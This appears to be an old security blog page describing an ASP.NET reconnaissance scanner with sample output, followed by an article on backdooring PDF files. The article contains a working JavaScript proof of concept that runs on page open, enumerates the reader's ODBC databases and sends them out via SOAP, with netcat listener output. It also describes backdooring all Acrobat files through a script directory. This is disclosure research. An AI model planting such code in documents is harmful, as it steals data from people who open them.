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ASP Auditor v2 BETA

ASP auditor v2 BETA
Author david.kierznowski_at_gmail.com
http://michaeldaw.org

purpose: Look for common misconfigurations and information leaks in
ASP.NET applications.

# Changelog:
# --v2.2-- 20/Apr/07
# * Added additional support for Anti-XSS Validation detection.
# * Added ASP Source Directory Leak Check
# * Added Apr/07 ASP.NET Validation Bypass Check
#
# --v2.1-- 25/Sep/06
# * GET /Trace.axd often leaks ASP.NET version when other methods fail.
# * Fixed "?" bug in JavaScript Validate test
# * Added Version into usage()
#
# --v2.0-- 16/Sep/06
# * Version plugin allowing specific ASP.NET versioning.
# * Version brute force capabilities using JavaScript validate
# directories.
# * Check if global ASP.NET validate is being used.
# * Added brute force function and option in usage()

This tool is based on H D Moore’s Dot Net Application Scanner
Author: H D Moore <hdm_at_digitaloffense.net>
URL: http://www.digitaloffense.net/index.html?section=TOOLS

Credits:
HDM thanks for the feedback.

--usage
$ ./asp-audit-latest.pl

Usage:   ./asp-audit-latest.pl [http://target/app/file.aspx] (opts)

        (opts)
            -bf brute force ASP.NET version using JS Validate
            directories.

--example 1
$ ./asp-audit.pl http://www.*hidden*/index.aspx
[*] Sending initial probe request...
[*] Sending path discovery request...
[*] Sending ASP.NET validate discovery request...
[*] Sending application trace request...
[*] Sending null remoter service request...

[ .NET Configuration Analysis ]

  Server   -> Microsoft-IIS/6.0
  Application   -> /
  FilePath   -> D:\VirtualServers\*hidden*
  ADNVersion   -> 1.1.4322.2300

  matches -> 1.1.4322.2300 Version 1.1 Post-SP1 (Windows Server 2003 SP1)  Mar 2005

--example 2
$ ./asp-audit.pl http://www.*hidden*/index.aspx -bf
[*] Sending initial probe request...
[*] Sending path discovery request...
[*] Sending ASP.NET validate discovery request...
[*] Sending application trace request...
[*] Sending null remoter service request...

[ .NET Configuration Analysis ]

    Server  -> Microsoft-IIS/6.0
    AppTrace  -> LocalOnly
    Application  -> /
    FilePath  -> D:\inetpub\*hidden*
    ADNVersion  -> 1.1.4322.2300

    matches -> 1.1.4322.2300 Version 1.1 Post-SP1 (Windows Server 2003 SP1)  Mar 2005

[*] Sending brute force discovery requests...
        Found -> /aspnet_client/system_web/1_1_4322

The tool can be downloaded here:

http://michaeldaw.org/wp-content/uploads/2016/10/asp-audit-latest.tar.gz

Backdooring PDF Files

First Seen at http://michaeldaw.org/

Updates:

Recently, there has been alot of hype involving backdooring various web technologies. pdp (arcitect) has done alot of work centered around this area.

I saw Jeremiah Grossman mention PDF’s being “BAD”, however, I was unable to easily locate any practical reasons as to why. I decided to investigate this a little further.

At first glance PDF documents seem obviously vulnerable. This is due to the fact that it supports JavaScript. However, there are quite a few twists and turns. It is by no means as straight forward as this.

Adobe supports its own JavaScript object model. For example, “alert(’xss’)” must be called from the app object, so this becomes “app.alert(’xss’)”. This means JavaScript attacks are limited to the functionality supported within Adobe. Secondly, Adobe Reader and Adobe Professional (the two apps I focus on in this article) are very different with regards to which JavaScript objects are allowed.

This article will give two practical examples of how Adobe Professional and Adobe Reader can be backdoored. There are 7 or more points where an attacker can launch malicious code. Both of the attacks discussed below are attached to the “Page Open” event.

The trigger can be accessed via “Page Properties | Actions tab”.

The first attack is simple and affects both Adobe Reader and Adobe Professional. It involves adding a malicious link into the PDF document. Once the document is opened, the user’s browser is automatically launched and the link is accessed. At this point it is obvious that any malicious code be launched. It is interesting to note that both Adobe 6 & 7 did not warn me before launching these URLs.

The second attack involves utilising Adobe’s ADBC (Adobe Database Connectivity) and Web Services support. The following proof of concept code accesses the Windows ODBC, enumerates available databases and then sends this information to “localhost” via the web service.

var cURL = "http://localhost/";
var cTestString = "";

var databaseList = ADBC.getDataSourceList();

var DB = "";
  if (databaseList != null) {
    for (var i=0; i<databaseList.length ; i++)
     DB+=databaseList[i].name;
   }

 cTestString = DB;

 var response = SOAP.request( {
   cURL: cURL,
   oRequest: {
     "http://myxmlns/:echoString": {
      inputString: cTestString
     }
   },
 cAction: "http://additional-opt/"
});

var result = response["http://no-need/:echoStringResponse"]["return"];
On the server side we get this:
$ ./nc.exe -l -p 80 -v
listening on [any] 80 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 1924
POST / HTTP/1.1
Accept: */*
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://additional-opt/"
Content-Length: 578
User-Agent: Mozilla/3.0 (compatible; Acrobat SOAP 7.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xm
lns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w
3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOA
P-ENV:Body><ns0:echoString SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/so
ap/encoding/" xmlns:ns0="http://myxmlns/"><inputString xsi:type="xsd:string">MS
Access 97 DatabaseFoxPro FilesText FilesMS Access DatabaseExcel FilesdBASE Files
dbase1</inputString>
</ns0:echoString>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I am sure with a bit more creativity even simpler and/or more advanced attacks could be put together. Adobe Acrabat supports, “HTML forms”, “File system access” and the list goes on.
One of the other interesting finds was the fact that you can backdoor all Adobe Acrabat files by loading a backdoored JavaScript file into your %ADOBE-VERSION-DIR%\Acrobat\Javascripts directory.

Proof of concept for example 1 can be found here.

Proof of concept for example 2 can be found here.

Backdoored1.PDF

For More Information Go to Michael Daw.

Download Here

Backdoored2.PDF

For More Information Go to Michael Daw.

Download Here

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